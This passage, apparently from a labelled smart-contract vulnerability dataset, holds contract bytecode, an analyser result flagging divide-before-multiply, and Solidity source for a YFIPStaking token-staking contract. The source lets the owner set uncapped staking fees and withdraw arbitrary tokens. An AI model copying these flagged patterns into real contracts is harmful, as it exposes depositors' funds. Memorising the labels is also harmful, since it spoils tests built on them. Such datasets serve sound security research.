0a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548282815181101515610ef357fe5b90602001906020020181815250508080600101915050610dea565b8282945094505050509091565b60095481565b60006002600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16141515610f8157600080fd5b81600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006110c7600d60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600b54610d5990919063ffffffff16565b905090565b60006002600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614151561112c57600080fd5b61117e82600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5990919063ffffffff16565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061125082600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5990919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061132282600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3d90919063ffffffff16565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600a60009054906101000a900460ff1681565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561144757600080fd5b600090505b825181101561148257611475838281518110151561146657fe5b9060200190602002015161272e565b808060010191505061144c565b6001915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114e857600080fd5b8060078190555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154e57600080fd5b600060019054906101000a900460ff1615151561156a57600080fd5b6115de81600d6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5990919063ffffffff16565b600d6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165881600b54610d5990919063ffffffff16565b600b81905550600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ba57600080fd5b600060019054906101000a900460ff161515156117d657600080fd5b6117eb81600b54610d3d90919063ffffffff16565b600b8190555061186581600d6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3d90919063ffffffff16565b600d6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119b157600080fd5b6001600060016101000a81548160ff021916908315150217905550565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a2d57600080fd5b600090505b8251811015611a6857611a5b8382815181101515611a4c57fe5b906020019060200201516127e7565b8080600101915050611a32565b6001915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ace57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc600c549081150290604051600060405180830381858888f1935050505015611b17576000600c81905550611b18565b5b565b60006002600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16141515611b7a57600080fd5b611bcc82600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5990919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c6182600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3d90919063ffffffff16565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d7757600080fd5b6002600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161415611e1c5781600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019050611e21565b600090505b92915050565b60075481565b6060600080606060009150600092505b600454831015611eeb576002600160006002600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161415611edd57600182019150611ede565b5b8280600101935050611e3d565b81604051908082528060200260200182016040528015611f1a5781602001602082028038833980820191505090505b509050600092505b81831015612046576002600160006002600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161415612038576002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168184815181101515611ff757fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612039565b5b8280600101935050611f22565b80935050505090565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561213257600080fd5b8060088190555050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561219a57600080fd5b600060019054906101000a900460ff161515156121b657600080fd5b6121bf826127e7565b600d6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600d6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122dc81600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3d90919063ffffffff16565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36123af82612a02565b5050565b60608060608060608060006004546040519080825280602002602001820160405280156123ef5781602001602082028038833980820191505090505b5093506004546040519080825280602002602001820160405280156124235781602001602082028038833980820191505090505b5092506004546040519080825280602002602001820160405280156124575781602001602082028038833980820191505090505b509150600090505b600454811015612612576002600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684828151811015156124ab57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60006002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054838281518110151561256857fe5b9060200190602002018181525050600360006002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482828151811015156125f757fe5b9060200190602002018181525050808060010191505061245f565b83838396509650965050505050909192565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561268057600080fd5b600060019054906101000a900460ff16151561269b57600080fd5b6000809054906101000a900460ff161515156126b657600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc600c549081150290604051600060405180830381858888f19350505050156127115760016000806101000a81548160ff02191690831515021790555061272c565b60008060006101000a81548160ff0219169083151502179055505b565b6002600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614156127e35760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055506127e4565b5b50565b6002600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161415612844576129ff565b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614156128f9576002600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055506129fe565b6002600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055508060026000600454815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506004600081548092919060010191905055505b5b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612a3e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820508ed58b6f9f70d9302e4e860c4f48702022f9eb763d400cc5de2d4f198f08d90029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
6,733
0x7f1a897f6d9ace6430add75fed316337fa36ccac
/** *Submitted for verification at Etherscan.io on 2020-10-18 */ pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { admin = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(admin, newOwner); admin = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract YFIPStaking is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // yfilend token contract address address public tokenAddress; // reward rate % per year uint public rewardRate = 5000; uint public rewardInterval = 365 days; // staking fee percent uint public stakingFeeRate = 100; // unstaking fee percent uint public unstakingFeeRate = 100; // unstaking possible Time uint public PossibleUnstakeTime = 48 hours; uint public totalClaimedRewards = 0; uint private FundedTokens; bool public stakingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; /*=============================ADMINISTRATIVE FUNCTIONS ==================================*/ function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0), "Invalid address format is not supported"); tokenAddress = _tokenAddr; } function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){ stakingFeeRate = _stakingFeeRate; unstakingFeeRate = _unstakingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ FundedTokens = _poolreward; } function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){ PossibleUnstakeTime = _possibleUnstakeTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowStaking(bool _status) public onlyOwner returns(bool){ require(tokenAddress != address(0), "Interracting token address is not yet configured"); stakingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function farm(uint amountToStake) public { require(stakingStatus == true, "Staking is not yet initialized"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(admin, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function unfarm(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "Unstake After 48 Hours From Stake"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(tokenAddress).transfer(admin, fee), "Could not transfer withdraw fee."); require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function harvest() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= FundedTokens) { return 0; } uint remaining = FundedTokens.sub(totalClaimedRewards); return remaining; } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80636654ffdf116100f9578063d578ceab11610097578063f2fde38b11610071578063f2fde38b146106f9578063f3073ee71461073d578063f3f91fa014610783578063f851a440146107db576101c4565b8063d578ceab1461069f578063d816c7d5146106bd578063f1587ea1146106db576101c4565b80639d76ea58116100d35780639d76ea58146105b1578063bec4de3f146105e5578063c0a6d78b14610603578063c326bf4f14610647576101c4565b80636654ffdf146105075780636a395ccb146105255780637b0a47ee14610593576101c4565b8063455ab53c11610166578063538a85a111610140578063538a85a11461040b578063583d42fd146104395780635ef057be146104915780636270cd18146104af576101c4565b8063455ab53c1461039d5780634641257d146103bd5780634908e386146103c7576101c4565b80631e94723f116101a25780631e94723f14610295578063308feec3146102ed57806337c5785a1461030b5780633844317714610359576101c4565b8063069ca4d0146101c95780630d2adb901461020d5780631c885bae14610267575b600080fd5b6101f5600480360360208110156101df57600080fd5b810190808035906020019092919050505061080f565b60405180821515815260200191505060405180910390f35b61024f6004803603602081101561022357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610876565b60405180821515815260200191505060405180910390f35b6102936004803603602081101561027d57600080fd5b810190808035906020019092919050505061099d565b005b6102d7600480360360208110156102ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610efe565b6040518082815260200191505060405180910390f35b6102f561106b565b6040518082815260200191505060405180910390f35b6103416004803603604081101561032157600080fd5b81019080803590602001909291908035906020019092919050505061107c565b60405180821515815260200191505060405180910390f35b6103856004803603602081101561036f57600080fd5b81019080803590602001909291905050506110eb565b60405180821515815260200191505060405180910390f35b6103a5611152565b60405180821515815260200191505060405180910390f35b6103c5611165565b005b6103f3600480360360208110156103dd57600080fd5b8101908080359060200190929190505050611170565b60405180821515815260200191505060405180910390f35b6104376004803603602081101561042157600080fd5b81019080803590602001909291905050506111d7565b005b61047b6004803603602081101561044f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ed565b6040518082815260200191505060405180910390f35b610499611705565b6040518082815260200191505060405180910390f35b6104f1600480360360208110156104c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061170b565b6040518082815260200191505060405180910390f35b61050f611723565b6040518082815260200191505060405180910390f35b6105916004803603606081101561053b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611729565b005b61059b6118b9565b6040518082815260200191505060405180910390f35b6105b96118bf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105ed6118e5565b6040518082815260200191505060405180910390f35b61062f6004803603602081101561061957600080fd5b81019080803590602001909291905050506118eb565b60405180821515815260200191505060405180910390f35b6106896004803603602081101561065d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611952565b6040518082815260200191505060405180910390f35b6106a761196a565b6040518082815260200191505060405180910390f35b6106c5611970565b6040518082815260200191505060405180910390f35b6106e3611976565b6040518082815260200191505060405180910390f35b61073b6004803603602081101561070f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119af565b005b61076b6004803603602081101561075357600080fd5b81019080803515159060200190929190505050611afe565b60405180821515815260200191505060405180910390f35b6107c56004803603602081101561079957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c20565b6040518082815260200191505060405180910390f35b6107e3611c38565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461086a57600080fd5b81600381905550919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108d157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610957576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806121ad6027913960400191505060405180910390fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550919050565b80600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b600654610aa7600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611c5c90919063ffffffff16565b11610afd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806122046021913960400191505060405180910390fd5b610b0633611c73565b6000610b31612710610b2360055485611f1790919063ffffffff16565b611f4690919063ffffffff16565b90506000610b488284611c5c90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610bfd57600080fd5b505af1158015610c11573d6000803e3d6000fd5b505050506040513d6020811015610c2757600080fd5b8101908080519060200190929190505050610caa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d3d57600080fd5b505af1158015610d51573d6000803e3d6000fd5b505050506040513d6020811015610d6757600080fd5b8101908080519060200190929190505050610dea576040517f08c379a0000000000000000000000000000000000